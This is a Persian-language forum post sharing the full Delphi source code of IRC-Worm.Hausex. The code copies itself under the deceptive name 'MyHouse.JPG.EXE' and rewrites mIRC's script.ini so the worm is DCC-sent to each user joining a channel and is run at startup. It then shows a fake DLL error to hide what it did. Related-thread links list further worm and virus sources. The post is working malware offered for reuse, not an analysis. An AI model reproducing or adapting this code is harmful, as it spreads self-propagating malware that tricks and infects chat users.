• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Source Code IRC-Worm.Hausex Delphi
#1
به نقل از فروم پارسی کدرز به تشریح کرم Hausex میپردازیم.
این رم ساده نوشته است نرم افزار mirc رو اسکریپت هاش رو مورد هدف قرار داه و باعث تغیراتی مثل join کردن در روم های irc .و .... انجام میده
سورس زیر به زبا دلفی نوشته شده است .

سورس کد :

Code:
unit Unit1;

interface

uses
  Windows, SysUtils, Forms, Dialogs, Registry, Classes, Controls, StdCtrls;

TYPE
  TForm1 = CLASS(TForm)
  PROCEDURE FormCreate(Sender: TObject);
  PRIVATE
  PUBLIC
  END;

VAR
  Form1 : TForm1;

IMPLEMENTATION

{$R *.DFM}

FUNCTION CopyFile(CONST SourceFile:TFilename;CONST DestinationFile:TFilename):  BOOLEAN;
BEGIN
  RESULT := Windows.CopyFile(pChar(SourceFile),pChar(DestinationFile),FALSE);
END;

FUNCTION WinPath:STRING;
VAR
  PWindowsDir: ARRAY [0..255] OF Char;
BEGIN
  GetWindowsDirectory(PWindowsDir,255);
  RESULT:=StrPas(PWindowsDir);
  if result[length(result)]<>'\' then result:=result+'\';
END;

Procedure mIRC(s2:string);
var
  f   : text;
  s   : string;
  Reg : TRegistry;
begin
  Reg := TRegistry.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC',false) then begin
    s:=Reg.ReadString('UninstallString');
    delete(s,pos('mirc32.exe',s) or pos('mirc.exe',s),length(s));
    delete(s,1,1);
     assign(f,s+'script.ini');
    rewrite(f);
    writeln(f,'[Script]');
    writeln(f,'n0=ON 1:JOIN:#:{');
    writeln(f,'n1=/dcc send $nick ',s2);
    writeln(f,'n2=}');
    writeln(f,'n3=on 1:start:{');
    writeln(f,'n4= /run -n ',s2);
    writeln(f,'n5=}');

    closefile(f);
  end;
  Reg.CloseKey;
  Reg.Free;
end;

PROCEDURE TForm1.FormCreate(Sender: TObject);
BEGIN
  if not fileexists(winpath+'MyHouse.JPG.EXE') THEN CopyFile (paramstr(0),Winpath+'MyHouse.JPG.EXE');
  mIRC(Winpath+'MyHouse.JPG.EXE');
  Application.messagebox('QTINTF3.DLL Not Found!','Error',MB_ICONHAND);
  form1.close;
  exitprocess(0);
END;
END.
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  Source Code IRC-Worm.Win32.Desire Delphi Amin_Mansouri 0 4,107 03-30-2012، 01:10 PM
Last Post: Amin_Mansouri
  Source Code LOA-worm Delphi Amin_Mansouri 0 5,719 03-30-2012، 01:05 PM
Last Post: Amin_Mansouri
  (USB-Worm for UNIX/LINUX) Amin_Mansouri 0 3,214 11-09-2011، 03:17 PM
Last Post: Amin_Mansouri
  delphi disable msconfig Amin_Mansouri 0 3,225 10-18-2011، 01:22 AM
Last Post: Amin_Mansouri
  USB Worm C++ Amin_Mansouri 0 3,415 10-12-2011، 12:11 AM
Last Post: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 3,801 09-28-2011، 06:15 PM
Last Post: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 4,983 09-26-2011، 09:41 AM
Last Post: Amin_Mansouri
  [DELPHI]Virus EXE infector - Example, by DjH Amin_Mansouri 0 3,693 09-22-2011، 12:40 AM
Last Post: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 3,903 08-30-2011، 11:54 AM
Last Post: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 8,815 06-25-2011، 10:55 AM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('1996')